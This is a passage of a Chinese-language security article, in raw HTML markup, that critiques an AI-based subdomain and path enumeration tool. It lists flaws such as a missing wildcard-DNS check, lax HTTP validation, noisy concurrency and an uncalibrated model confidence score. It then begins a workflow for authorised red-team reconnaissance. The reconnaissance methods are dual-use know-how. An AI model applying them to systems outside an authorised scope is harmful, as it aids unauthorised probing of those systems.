rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">main</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 提交为 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">9d8f70020b37994b2478e63fd6582f42c0d01068</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">。</span></span></p><p cid="n612" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">翻完代码，发现五个会直接影响结果的问题。</span></span></p><h3 cid="n613" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">1. DNS 解析成功 ≠ 发现真实子域</span></span></h3><p cid="n614" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">dns_validator.py</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 主要通过系统解析器查 A/AAAA，能解析就把 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">exists</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 设为 true。代码没先用随机标签测试 wildcard DNS。如果目标把 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">*.example.com</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 全部解析到同一个 IP，AI 生成的每个胡乱候选都会被记成&#34;存在&#34;。</span></span></p><h3 cid="n615" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">2. 收到 HTTP 响应 ≠ 页面有效</span></span></h3><p cid="n616" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">http_validator.py</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 只验证 DNS 命中子域的根页面，不验证模型生成的 API 或 path。它会分别尝试 HTTPS 与 HTTP，拿到响应就把 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">accessible</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 设为 true。404、403、500、统一默认页都可能进入&#34;可访问&#34;结果。默认 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">verify_ssl=False</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">，同时跟随重定向——所以 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">accessible=True</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 既不能证明证书身份，也不能证明最终页面仍属原目标。真正的路径验证必须加入随机基线、正文哈希、长度、标题、重定向链和 soft 404 聚类。</span></span></p><h3 cid="n617" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">3. 默认并发本身就可能制造护网噪声</span></span></h3><p cid="n618" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">核心类构造器默认 DNS 并发 50、HTTP 并发 20，但当前 CLI 实际覆盖为 DNS 20、HTTP 15；HTTP 还会分别尝试 HTTPS 与 HTTP。对公开大站不算夸张，对带速率限制、WAF、脆弱网关或演练白名单的环境，已经够触发封禁和告警了。&#34;AI 生成更少候选&#34;的价值，不能被不受控的并发重新抵消。</span></span></p><h3 cid="n619" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">4. </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: inherit;" data-nest-level="4"><span leaf="" data-nest-level="5">confidence_score</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 可能只是模型自嗨</span></span></h3><p cid="n620" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">路径分析提示词要求模型在 JSON 里返回 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">confidence_score</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">，代码直接读取。这个数不是通过 DNS、HTTP 或标注测试算出来的校准概率。模型说自己有 0.92 的信心，不代表候选有 92% 概率存在。</span></span></p><h3 cid="n621" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">5. 幻灯片里的响应反馈闭环，代码还没完整落地</span></span></h3><p cid="n622" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">第 98 页画的是方法探测、行为对比和异常评分；README 仍把 response-aware fuzzing 列在后续改进里。当前 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">generate path</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 没有 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">--validate</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 或 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">--check-http</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">，公开的 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">HTTPValidator</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 只服务于 DNS 命中子域的根地址，没实现 GET、POST、PUT、DELETE 的完整方法循环、随机基线、异常评分与反馈闭环。</span></span></p><p cid="n623" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">也就是说，目前最成熟的部分是&#34;生成候选&#34;，最关键的&#34;根据真实响应持续修正候选&#34;仍然需要测试人员自己补上。</span></span></p><p cid="n624" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">这不是否定项目。恰恰相反，它说明这项研究最有价值的是方法论，不是下载个工具就自动出洞。</span></span></p><hr style="box-sizing: content-box;height: 2px;margin: 16px 0px;border: 0px;padding: 0px;background-color: rgb(231, 231, 231);overflow: hidden;"/><h2 cid="n626" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">护网里怎么把它接进现有打点流程</span></span></h2><p cid="n627" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">更稳的落地方式，不是让 Agent 拿着目标域名自由发挥，而是把它夹在&#34;种子收集&#34;和&#34;低噪声验证&#34;之间。</span></span></p><h3 cid="n628" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">第一步：只收授权范围内的真实种子</span></span></h3><p cid="n629" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">来源包括证书透明度、被动 DNS、搜索引擎、公开文档、JS 路由、Sitemap、OpenAPI/Swagger 残片、代理历史和已有资产台账。先去重、确认归属和授权范围——第三方 SaaS、供应商域名和同名品牌资产别因为模型觉得相似就自动纳进来。</span></span></p><h3 cid="n630" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">第二步：给目标建&#34;命名画像&#34;</span></span></h3><p cid="n631" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">别一上来就让模型吐一万个名字。先让它输出可审计的结构：</span></span></p><figure cid="n632" mdtype="table" style="box-sizing: border-box;margin: 1.2em 0px;overflow-x: auto;padding: 0px;cursor: default;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><table style="box-sizing: border-box;border-collapse: collapse;border-spacing: 0px;width: 800px;overflow: auto;break-inside: auto;text-align: left;cursor: text;margin: 0px;padding: 0px;word-break: initial;white-space: pre-wrap;"><thead><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><th style="box-sizing: border-box;padding: 6px 13px;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;"><span cid="n634" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 125.4375px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">维度</span></span></span></th><th style="box-sizing: border-box;padding: 6px 13px;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;"><span cid="n635" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 619.578125px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">要观察的内容</span></span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n637" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 125.4375px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">分隔符</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n638" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 619.578125px;min-height: 10px;" data-nest-level="7"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf="" data-nest-level="10">-</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf="" data-nest-level="10">_</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf="" data-nest-level="10">.</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">、无分隔</span></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n640" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 125.4375px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" 